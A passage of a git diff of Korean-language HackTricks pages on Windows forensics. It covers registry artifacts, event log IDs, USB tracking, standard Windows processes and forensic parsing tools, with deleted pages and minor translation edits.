업데이트됩니다. - -이 파일에서 날짜를 얻으려면 [**srum_dump**](https://github.com/MarkBaggett/srum-dump) 도구를 사용할 수 있습니다. -```bash -.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum -``` -### AppCompatCache (ShimCache) - -**AppCompatCache**는 **ShimCache**로도 알려져 있으며, **Microsoft**에서 애플리케이션 호환성 문제를 해결하기 위해 개발한 **Application Compatibility Database**의 일부입니다. 이 시스템 구성 요소는 다음과 같은 다양한 파일 메타데이터를 기록합니다: - -- 파일의 전체 경로 -- 파일의 크기 -- **$Standard_Information** (SI) 아래의 마지막 수정 시간 -- ShimCache의 마지막 업데이트 시간 -- 프로세스 실행 플래그 - -이러한 데이터는 운영 체제 버전에 따라 특정 위치의 레지스트리에 저장됩니다: - -- XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` 아래에 저장되며, 96개의 항목을 수용할 수 있습니다. -- Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8, 10의 경우, 저장 경로는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`이며, 각각 512개 및 1024개의 항목을 수용합니다. - -저장된 정보를 파싱하기 위해 [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser)의 사용이 권장됩니다. - -![](<../../../images/image (488).png>) - -### Amcache - -**Amcache.hve** 파일은 시스템에서 실행된 애플리케이션에 대한 세부 정보를 기록하는 레지스트리 하이브입니다. 일반적으로 `C:\Windows\AppCompat\Programas\Amcache.hve`에 위치합니다. - -이 파일은 최근에 실행된 프로세스의 기록을 저장하는 것으로 주목받으며, 실행 파일의 경로와 SHA1 해시를 포함합니다. 이 정보는 시스템에서 애플리케이션의 활동을 추적하는 데 매우 유용합니다. - -**Amcache.hve**에서 데이터를 추출하고 분석하기 위해 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 AmcacheParser를 사용하여 **Amcache.hve** 파일의 내용을 파싱하고 결과를 CSV 형식으로 출력하는 방법의 예입니다: -```bash -AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder -``` -생성된 CSV 파일 중에서 `Amcache_Unassociated file entries`는 관련 없는 파일 항목에 대한 풍부한 정보를 제공하기 때문에 특히 주목할 만합니다. - -가장 흥미로운 CVS 파일은 `Amcache_Unassociated file entries`입니다. - -### RecentFileCache - -이 아티팩트는 W7에서만 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에 존재하며, 일부 바이너리의 최근 실행에 대한 정보를 포함하고 있습니다. - -파일을 파싱하려면 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다. - -### Scheduled tasks - -이들은 `C:\Windows\Tasks` 또는 `C:\Windows\System32\Tasks`에서 추출할 수 있으며 XML 형식으로 읽을 수 있습니다. - -### Services - -이들은 `SYSTEM\ControlSet001\Services` 레지스트리에서 찾을 수 있습니다. 어떤 것이 실행될 것인지와 언제 실행될 것인지 확인할 수 있습니다. - -### **Windows Store** - -설치된 애플리케이션은 `\ProgramData\Microsoft\Windows\AppRepository\`에서 찾을 수 있습니다. 이 저장소에는 데이터베이스 **`StateRepository-Machine.srd`** 내에 시스템에 설치된 **각 애플리케이션**에 대한 **로그**가 있습니다. - -이 데이터베이스의 애플리케이션 테이블 내에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열은 사전 설치된 애플리케이션과 설치된 애플리케이션에 대한 정보를 포함하고 있으며, 설치된 애플리케이션의 ID는 순차적이어야 하므로 일부 애플리케이션이 제거되었는지 확인할 수 있습니다. - -레지스트리 경로 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` 내에서도 **설치된 애플리케이션**을 찾을 수 있습니다.\ -그리고 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`에서 **제거된** **애플리케이션**을 찾을 수 있습니다. - -## Windows Events - -Windows 이벤트 내에 나타나는 정보는 다음과 같습니다: - -- 발생한 사건 -- 타임스탬프 (UTC + 0) -- 관련된 사용자 -- 관련된 호스트 (호스트 이름, IP) -- 접근된 자산 (파일, 폴더, 프린터, 서비스) - -로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`에 위치합니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 이후에는 **XML 형식**으로 **.evtx** 확장자를 사용합니다. - -이벤트 파일의 위치는 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**의 SYSTEM 레지스트리에서 찾을 수 있습니다. - -Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com) **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**와 같은 다른 도구를 사용하여 시각화할 수 있습니다. - -## Understanding Windows Security Event Logging - -접근 이벤트는 `C:\Windows\System32\winevt\Security.evtx`에 위치한 보안 구성 파일에 기록됩니다. 이 파일의 크기는 조정 가능하며, 용량이 초과되면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 행동, 보안 설정 변경, 파일, 폴더 및 공유 자산 접근이 포함됩니다. - -### 사용자 인증을 위한 주요 이벤트 ID: - -- **EventID 4624**: 사용자가 성공적으로 인증되었음을 나타냅니다. -- **EventID 4625**: 인증 실패를 나타냅니다. -- **EventIDs 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다. -- **EventID 4672**: 관리 권한으로 로그인했음을 나타냅니다. - -#### EventID 4634/4647 내의 하위 유형: - -- **Interactive (2)**: 직접 사용자 로그인. -- **Network (3)**: 공유 폴더 접근. -- **Batch (4)**: 배치 프로세스 실행. -- **Service (5)**: 서비스 시작. -- **Proxy (6)**: 프록시 인증. -- **Unlock (7)**: 비밀번호로 화면 잠금 해제. -- **Network Cleartext (8)**: 일반 텍스트 비밀번호 전송, 종종 IIS에서 발생. -- **New Credentials (9)**: 접근을 위한 다른 자격 증명 사용. -- **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인. -- **Cache Interactive (11)**: 도메인 컨트롤러와의 접촉 없이 캐시된 자격 증명으로 로그인. -- **Cache Remote Interactive (12)**: 캐시된 자격 증명으로 원격 로그인. -- **Cached Unlock (13)**: 캐시된 자격 증명으로 잠금 해제. - -#### EventID 4625의 상태 및 하위 상태 코드: - -- **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있습니다. -- **0xC000006A**: 올바른 사용자 이름이지만 잘못된 비밀번호 - 비밀번호 추측 또는 무차별 대입 시도 가능성. -- **0xC0000234**: 사용자 계정이 잠김 - 여러 번의 로그인 실패로 인한 무차별 대입 공격 후 발생할 수 있습니다. -- **0xC0000072**: 계정 비활성화 - 비활성 계정에 대한 무단 접근 시도. -- **0xC000006F**: 허용된 시간 외 로그인 - 설정된 로그인 시간 외 접근 시도, 무단 접근의 가능성. -- **0xC0000070**: 워크스테이션 제한 위반 - 무단 위치에서 로그인 시도 가능성. -- **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로 접근 시도. -- **0xC0000071**: 비밀번호 만료 - 만료된 비밀번호로 로그인 시도. -- **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 패스-더-티켓과 같은 더 정교한 공격을 나타낼 수 있습니다. -- **0xC0000224**: 필수 비밀번호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 하려는 시도를 나타낼 수 있습니다. -- **0xC0000225**: 보안 문제보다는 시스템 버그를 나타냅니다. -- **0xC000015b**: 거부된 로그인 유형 - 서비스 로그온을 시도하는 사용자와 같은 무단 로그인 유형으로 접근 시도. - -#### EventID 4616: - -- **시간 변경**: 시스템 시간 수정, 사건의 타임라인을 모호하게 할 수 있습니다. - -#### EventID 6005 및 6006: - -- **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 종료를 나타냅니다. - -#### EventID 1102: - -- **로그 삭제**: 보안 로그가 지워지는 경우, 이는 종종 불법 활동을 은폐하려는 신호입니다. - -#### USB 장치 추적을 위한 이벤트 ID: - -- **20001 / 20003 / 10000**: USB 장치 첫 연결. -- **10100**: USB 드라이버 업데이트. -- **EventID 112**: USB 장치 삽입 시간. - -로그인 유형 및 자격 증명 덤핑 기회를 시뮬레이션하는 실용적인 예는 [Altered Security의 자세한 가이드](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)를 참조하십시오. - -상태 및 하위 상태 코드를 포함한 이벤트 세부정보는 이벤트 원인에 대한 추가 통찰력을 제공하며, 특히 Event ID 4625에서 주목할 만합니다. - -### Windows 이벤트 복구 - -삭제된 Windows 이벤트를 복구할 가능성을 높이기 위해, 의심되는 컴퓨터의 전원을 직접 분리하여 끄는 것이 좋습니다. **Bulk_extractor**, `.evtx` 확장자를 지정하는 복구 도구는 이러한 이벤트를 복구하려고 시도하는 데 권장됩니다. - -### Windows 이벤트를 통한 일반 공격 식별 - -일반 사이버 공격을 식별하는 데 Windows 이벤트 ID를 활용하는 포괄적인 가이드는 [Red Team Recipe](https://redteamrecipe.com/event-codes/)를 방문하십시오. - -#### 무차별 대입 공격 - -여러 EventID 4625 기록으로 식별되며, 공격이 성공하면 EventID 4624가 뒤따릅니다. - -#### 시간 변경 - -EventID 4616에 기록되며, 시스템 시간 변경은 포렌식 분석을 복잡하게 만들 수 있습니다. - -#### USB 장치 추적 - -USB 장치 추적에 유용한 시스템 이벤트 ID는 초기 사용을 위한 20001/20003/10000, 드라이버 업데이트를 위한 10100, 삽입 타임스탬프를 위한 DeviceSetupManager의 EventID 112가 포함됩니다. - -#### 시스템 전원 이벤트 - -EventID 6005는 시스템 시작을 나타내고, EventID 6006은 종료를 나타냅니다. - -#### 로그 삭제 - -보안 EventID 1102는 로그 삭제를 신호하며, 이는 포렌식 분석에 중요한 이벤트입니다. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md deleted file mode 100644 index 9730cfa14..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ /dev/null @@ -1,101 +0,0 @@ -# 흥미로운 Windows 레지스트리 키 - -### 흥미로운 Windows 레지스트리 키 - -{{#include ../../../banners/hacktricks-training.md}} - -### **Windows 버전 및 소유자 정보** - -- **`Software\Microsoft\Windows NT\CurrentVersion`**에 위치하며, Windows 버전, 서비스 팩, 설치 시간 및 등록된 소유자의 이름을 간단하게 확인할 수 있습니다. - -### **컴퓨터 이름** - -- 호스트 이름은 **`System\ControlSet001\Control\ComputerName\ComputerName`** 아래에서 찾을 수 있습니다. - -### **시간대 설정** - -- 시스템의 시간대는 **`System\ControlSet001\Control\TimeZoneInformation`**에 저장됩니다. - -### **접근 시간 추적** - -- 기본적으로 마지막 접근 시간 추적은 꺼져 있습니다 (**`NtfsDisableLastAccessUpdate=1`**). 이를 활성화하려면 다음을 사용하세요: -`fsutil behavior set disablelastaccess 0` - -### Windows 버전 및 서비스 팩 - -- **Windows 버전**은 에디션(예: Home, Pro)과 릴리스를 나타내며(예: Windows 10, Windows 11), **서비스 팩**은 수정 사항과 때때로 새로운 기능을 포함하는 업데이트입니다. - -### 마지막 접근 시간 활성화 - -- 마지막 접근 시간 추적을 활성화하면 파일이 마지막으로 열렸던 시간을 확인할 수 있어, 포렌식 분석이나 시스템 모니터링에 중요할 수 있습니다. - -### 네트워크 정보 세부사항 - -- 레지스트리는 **네트워크 유형(무선, 유선, 3G)** 및 **네트워크 범주(공용, 개인/홈, 도메인/작업)**를 포함한 광범위한 네트워크 구성 데이터를 보유하고 있어, 네트워크 보안 설정 및 권한을 이해하는 데 필수적입니다. - -### 클라이언트 측 캐싱 (CSC) - -- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 접근을 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐시되는지를 제어하여, 간헐적인 연결이 있는 환경에서 성능과 사용자 경험에 영향을 미칩니다. - -### 자동 시작 프로그램 - -- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램은 시작 시 자동으로 실행되며, 시스템 부팅 시간에 영향을 미치고 악성 소프트웨어나 원치 않는 소프트웨어를 식별하는 데 관심의 지점이 될 수 있습니다. - -### 셸백 - -- **셸백**은 폴더 보기 선호도를 저장할 뿐만 아니라, 폴더가 더 이상 존재하지 않더라도 폴더 접근에 대한 포렌식 증거를 제공합니다. 이는 다른 방법으로는 명백하지 않은 사용자 활동을 드러내는 데 매우 유용합니다. - -### USB 정보 및 포렌식 - -- 레지스트리에 저장된 USB 장치에 대한 세부정보는 어떤 장치가 컴퓨터에 연결되었는지를 추적하는 데 도움이 되며, 이는 민감한 파일 전송이나 무단 접근 사건과 연결될 수 있습니다. - -### 볼륨 일련 번호 - -- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 이는 다양한 장치 간에 파일 출처를 확립해야 하는 포렌식 시나리오에서 유용합니다. - -### **종료 세부정보** - -- 종료 시간 및 횟수(후자는 XP에만 해당)는 **`System\ControlSet001\Control\Windows`** 및 **`System\ControlSet001\Control\Watchdog\Display`**에 저장됩니다. - -### **네트워크 구성** - -- 자세한 네트워크 인터페이스 정보는 **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**를 참조하세요. -- VPN 연결을 포함한 첫 번째 및 마지막 네트워크 연결 시간은 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**의 다양한 경로에 기록됩니다. - -### **공유 폴더** - -- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`** 아래에 있습니다. 클라이언트 측 캐싱 (CSC) 설정은 오프라인 파일 가용성을 결정합니다. - -### **자동으로 시작되는 프로그램** - -- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`**와 `Software\Microsoft\Windows\CurrentVersion` 아래의 유사한 항목은 시작 시 실행되도록 설정된 프로그램을 자세히 설명합니다. - -### **검색 및 입력된 경로** - -- 탐색기 검색 및 입력된 경로는 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**에서 WordwheelQuery 및 TypedPaths에 따라 추적됩니다. - -### **최근 문서 및 Office 파일** - -- 최근에 접근한 문서 및 Office 파일은 `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` 및 특정 Office 버전 경로에 기록됩니다. - -### **가장 최근에 사용된 (MRU) 항목** - -- 최근 파일 경로 및 명령을 나타내는 MRU 목록은 `NTUSER.DAT`의 다양한 `ComDlg32` 및 `Explorer` 하위 키에 저장됩니다. - -### **사용자 활동 추적** - -- 사용자 보조 기능은 실행 횟수 및 마지막 실행 시간을 포함한 자세한 애플리케이션 사용 통계를 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에 기록합니다. - -### **셸백 분석** - -- 폴더 접근 세부정보를 드러내는 셸백은 `USRCLASS.DAT` 및 `NTUSER.DAT`의 `Software\Microsoft\Windows\Shell`에 저장됩니다. 분석을 위해 **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)**를 사용하세요. - -### **USB 장치 기록** - -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** 및 **`HKLM\SYSTEM\ControlSet001\Enum\USB`**는 연결된 USB 장치에 대한 풍부한 세부정보를 포함하고 있으며, 여기에는 제조업체, 제품 이름 및 연결 타임스탬프가 포함됩니다. -- 특정 USB 장치와 관련된 사용자는 장치의 **{GUID}**에 대해 `NTUSER.DAT` 하이브를 검색하여 확인할 수 있습니다. -- 마지막으로 마운트된 장치와 그 볼륨 일련 번호는 각각 `System\MountedDevices` 및 `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`를 통해 추적할 수 있습니다. - -이 가이드는 Windows 시스템에서 상세한 시스템, 네트워크 및 사용자 활동 정보를 접근하기 위한 중요한 경로와 방법을 요약하여 명확성과 사용성을 목표로 합니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md deleted file mode 100644 index f495906c0..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ /dev/null @@ -1,106 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -## smss.exe - -**세션 관리자**.\ -세션 0은 **csrss.exe**와 **wininit.exe** (**OS** **서비스**)를 시작하고, 세션 1은 **csrss.exe**와 **winlogon.exe** (**사용자** **세션**)을 시작합니다. 그러나 프로세스 트리에서 **자식이 없는 해당 이진 파일의 프로세스는 하나만** 보여야 합니다. - -또한, 0과 1을 제외한 세션은 RDP 세션이 발생하고 있음을 의미할 수 있습니다. - -## csrss.exe - -**클라이언트/서버 실행 하위 시스템 프로세스**.\ -**프로세스**와 **스레드**를 관리하고, 다른 프로세스에 **Windows** **API**를 제공하며, **드라이브 문자**를 매핑하고, **임시 파일**을 생성하며, **종료** **프로세스**를 처리합니다. - -세션 0에서 하나가 실행되고 세션 1에서 또 하나가 실행됩니다 (따라서 프로세스 트리에 **2개의 프로세스**가 있습니다). 새로운 세션마다 또 하나가 생성됩니다. - -## winlogon.exe - -**Windows 로그온 프로세스**.\ -사용자 **로그온**/**로그오프**를 담당합니다. 사용자 이름과 비밀번호를 요청하기 위해 **logonui.exe**를 실행한 다음, 이를 확인하기 위해 **lsass.exe**를 호출합니다. - -그 후, **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**에 지정된 **Userinit** 키로 **userinit.exe**를 실행합니다. - -또한, 이전 레지스트리에는 **Shell 키**에 **explorer.exe**가 있어야 하며, 그렇지 않으면 **악성코드 지속성 방법**으로 악용될 수 있습니다. - -## wininit.exe - -**Windows 초기화 프로세스**. \ -세션 0에서 **services.exe**, **lsass.exe**, **lsm.exe**를 실행합니다. 프로세스는 하나만 있어야 합니다. - -## userinit.exe - -**Userinit 로그온 애플리케이션**.\ -**HKCU**의 **ntduser.dat**를 로드하고 **사용자** **환경**을 초기화하며 **로그온** **스크립트**와 **GPO**를 실행합니다. - -**explorer.exe**를 실행합니다. - -## lsm.exe - -**로컬 세션 관리자**.\ -사용자 세션을 조작하기 위해 smss.exe와 함께 작동합니다: 로그온/로그오프, 셸 시작, 데스크탑 잠금/잠금 해제 등. - -W7 이후 lsm.exe는 서비스(lsm.dll)로 변환되었습니다. - -W7에서는 프로세스가 하나만 있어야 하며, 그 중 하나는 DLL을 실행하는 서비스입니다. - -## services.exe - -**서비스 제어 관리자**.\ -**자동 시작**으로 구성된 **서비스**와 **드라이버**를 **로드**합니다. - -**svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** 등 여러 프로세스의 부모 프로세스입니다. - -서비스는 `HKLM\SYSTEM\CurrentControlSet\Services`에 정의되어 있으며, 이 프로세스는 sc.exe로 쿼리할 수 있는 서비스 정보의 DB를 메모리에 유지합니다. - -**일부** **서비스**는 **자신의 프로세스에서 실행**되고, 다른 서비스는 **svchost.exe 프로세스를 공유**하게 됩니다. - -프로세스는 하나만 있어야 합니다. - -## lsass.exe - -**로컬 보안 권한 하위 시스템**.\ -사용자 **인증**을 담당하며 **보안** **토큰**을 생성합니다. `HKLM\System\CurrentControlSet\Control\Lsa`에 위치한 인증 패키지를 사용합니다. - -**보안** **이벤트** **로그**에 기록하며, 프로세스는 하나만 있어야 합니다. - -이 프로세스는 비밀번호 덤프 공격에 매우 취약하다는 점을 염두에 두십시오. - -## svchost.exe - -**일반 서비스 호스트 프로세스**.\ -하나의 공유 프로세스에서 여러 DLL 서비스를 호스팅합니다. - -보통 **svchost.exe**는 `-k` 플래그와 함께 실행됩니다. 이는 레지스트리 **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost**에 쿼리를 실행하여 -k에 언급된 인수를 포함하는 키가 있으며, 동일한 프로세스에서 실행할 서비스를 포함합니다. - -예를 들어: `-k UnistackSvcGroup`는 다음을 실행합니다: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` - -**플래그 `-s`**가 인수와 함께 사용되면, svchost는 이 인수에서 **지정된 서비스만 실행**하도록 요청받습니다. - -여러 개의 `svchost.exe` 프로세스가 있을 것입니다. 만약 그 중 어떤 것이 **`-k` 플래그를 사용하지 않는다면**, 이는 매우 의심스럽습니다. **services.exe가 부모가 아닌 경우**도 매우 의심스럽습니다. - -## taskhost.exe - -이 프로세스는 DLL에서 실행되는 프로세스의 호스트 역할을 합니다. 또한 DLL에서 실행되는 서비스를 로드합니다. - -W8에서는 taskhostex.exe로, W10에서는 taskhostw.exe로 불립니다. - -## explorer.exe - -이 프로세스는 **사용자의 데스크탑**과 파일 확장을 통해 파일을 실행하는 역할을 합니다. - -**로그온한 사용자당** **오직 1개의** 프로세스만 생성되어야 합니다. - -이는 **userinit.exe**에서 실행되며, 종료되어야 하므로 이 프로세스의 **부모**는 나타나지 않아야 합니다. - -# 악성 프로세스 탐지 - -- 예상 경로에서 실행되고 있습니까? (Windows 이진 파일은 임시 위치에서 실행되지 않음) -- 이상한 IP와 통신하고 있습니까? -- 디지털 서명을 확인하십시오 (Microsoft 아티팩트는 서명되어야 함) -- 철자가 정확합니까? -- 예상 SID 아래에서 실행되고 있습니까? -- 부모 프로세스가 예상한 것입니까 (있는 경우)? -- 자식 프로세스가 예상한 것입니까? (cmd.exe, wscript.exe, powershell.exe 등이 아닌가요..?) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index d1def2786..0f0c66f70 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,7 +1,5 @@ # Windows Artifacts -## Windows Artifacts - {{#include ../../../banners/hacktricks-training.md}} ## Generic Windows Artifacts @@ -20,7 +18,7 @@ Timeline은 방문한 웹 페이지, 편집된 문서 및 실행된 애플리케 ### ADS (Alternate Data Streams) -다운로드된 파일은 **ADS Zone.Identifier**를 포함할 수 있으며, 이는 **어떻게** 인트라넷, 인터넷 등에서 **다운로드되었는지** 나타냅니다. 일부 소프트웨어(예: 브라우저)는 파일이 다운로드된 **URL**과 같은 **더 많은** **정보**를 추가하는 경우가 많습니다. +다운로드된 파일은 **ADS Zone.Identifier**를 포함할 수 있으며, 이는 **어떻게** intranet, internet 등에서 **다운로드되었는지** 나타냅니다. 일부 소프트웨어(예: 브라우저)는 파일이 다운로드된 **URL**과 같은 **더 많은** **정보**를 추가하는 경우가 많습니다. ## **File Backups** @@ -42,9 +40,9 @@ Vista/Win7/Win8/Win10에서 **Recycle Bin**은 드라이브의 루트에 있는 ### 볼륨 섀도 복사본 -섀도 복사는 Microsoft Windows에 포함된 기술로, 컴퓨터 파일이나 볼륨의 **백업 복사본** 또는 스냅샷을 생성할 수 있습니다. 사용 중일 때도 가능합니다. +섀도 복사는 Microsoft Windows에 포함된 기술로, 사용 중인 컴퓨터 파일이나 볼륨의 **백업 복사본** 또는 스냅샷을 생성할 수 있습니다. -이 백업은 일반적으로 파일 시스템의 루트에 있는 `\System Volume Information`에 위치하며, 이름은 다음 이미지에 표시된 **UID**로 구성됩니다: +이 백업은 일반적으로 파일 시스템의 루트에서 `\System Volume Information`에 위치하며, 이름은 다음 이미지에 표시된 **UID**로 구성됩니다: ![](<../../../images/image (94).png>) @@ -52,15 +50,15 @@ Vista/Win7/Win8/Win10에서 **Recycle Bin**은 드라이브의 루트에 있는 ![](<../../../images/image (576).png>) -레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`는 **백업하지 않을** 파일과 키를 포함합니다: +레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`에는 **백업하지 않을** 파일과 키가 포함되어 있습니다: ![](<../../../images/image (254).png>) -레지스트리 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`는 `볼륨 섀도 복사본`에 대한 구성 정보도 포함합니다. +레지스트리 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`에도 `볼륨 섀도 복사본`에 대한 구성 정보가 포함되어 있습니다. ### Office 자동 저장 파일 -자동 저장된 Office 파일은 다음 위치에서 찾을 수 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Office 자동 저장 파일은 다음 위치에서 찾을 수 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` ## 셸 항목 @@ -75,7 +73,7 @@ Windows는 사용자가 다음 위치에서 **파일을 열거나, 사용하거 폴더가 생성되면, 해당 폴더, 상위 폴더 및 조상 폴더에 대한 링크도 생성됩니다. -이 자동 생성된 링크 파일은 **파일**인지 **폴더**인지, 해당 파일의 **MAC** **시간**, 파일이 저장된 **볼륨 정보**, **대상 파일의 폴더**와 같은 **출처에 대한 정보**를 **포함**합니다. 이 정보는 파일이 삭제된 경우 복구하는 데 유용할 수 있습니다. +이 자동 생성된 링크 파일은 **파일**인지 **폴더**인지, 해당 파일의 **MAC** **시간**, 파일이 저장된 **볼륨 정보**, **대상 파일의 폴더**에 대한 정보를 **포함**합니다. 이 정보는 파일이 삭제된 경우 복구하는 데 유용할 수 있습니다. 또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된** **시간**이며, 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된** **시간**입니다. @@ -102,13 +100,13 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### 점프 리스트 -이것은 각 애플리케이션별로 표시되는 최근 파일입니다. 각 애플리케이션에서 접근할 수 있는 **애플리케이션에서 사용된 최근 파일 목록**입니다. 이들은 **자동으로 생성되거나 사용자 정의**될 수 있습니다. +이것은 각 애플리케이션에 의해 표시되는 최근 파일입니다. 각 애플리케이션에서 접근할 수 있는 **애플리케이션에 의해 사용된 최근 파일 목록**입니다. 이들은 **자동으로 생성되거나 사용자 정의**될 수 있습니다. 자동으로 생성된 **점프 리스트**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. 점프 리스트는 `{id}.autmaticDestinations-ms` 형식으로 이름이 지정되며, 초기 ID는 애플리케이션의 ID입니다. 사용자 정의 점프 리스트는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 파일과 관련하여 **중요한** 일이 발생했기 때문에 애플리케이션에 의해 생성됩니다(아마도 즐겨찾기로 표시됨). -어떤 점프 리스트의 **생성 시간**은 **파일에 처음 접근한 시간**을 나타내며, **수정 시간은 마지막 접근 시간**을 나타냅니다. +모든 점프 리스트의 **생성 시간**은 **파일에 처음 접근한 시간**을 나타내며, **수정 시간은 마지막 접근 시간**을 나타냅니다. 점프 리스트는 [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md)를 사용하여 검사할 수 있습니다. @@ -118,7 +116,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### 셸백 -[**이 링크를 따라가면 셸백이 무엇인지 배울 수 있습니다.**](interesting-windows-registry-keys.md#shellbags) +[**이 링크를 따라가면 셸백에 대해 배울 수 있습니다.**](interesting-windows-registry-keys.md#shellbags) ## Windows USB 사용 @@ -132,7 +130,7 @@ USB 장치가 사용되었음을 식별할 수 있는 방법은 다음과 같은 ![](<../../../images/image (218).png>) -WPDNSE 폴더의 파일은 원본 파일의 복사본이므로 PC를 재시작하면 살아남지 않으며 GUID는 셸백에서 가져옵니다. +WPDNSE 폴더의 파일은 원본 파일의 복사본이므로 PC를 재시작하면 유지되지 않으며 GUID는 셸백에서 가져옵니다. ### 레지스트리 정보 @@ -140,7 +138,7 @@ WPDNSE 폴더의 파일은 원본 파일의 복사본이므로 PC를 재시작 ### setupapi -USB 연결이 발생한 시간을 알기 위해 `C:\Windows\inf\setupapi.dev.log` 파일을 확인하세요( `Section start`를 검색하세요). +USB 연결이 발생한 시간을 알기 위해 `C:\Windows\inf\setupapi.dev.log` 파일을 확인하세요( `Section start`를 검색). ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) @@ -164,15 +162,15 @@ USB 연결이 발생한 시간을 알기 위해 `C:\Windows\inf\setupapi.dev.log - **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 있으며, 일반 작업 스케줄링 엔진을 사용함을 나타냅니다. - **MaintenanceSettings**: - **Period ('P1M')**: 작업 스케줄러에 정기적인 자동 유지 관리 중 매월 정리 작업을 시작하도록 지시합니다. -- **Deadline ('P2M')**: 작업이 두 달 연속 실패할 경우, 작업 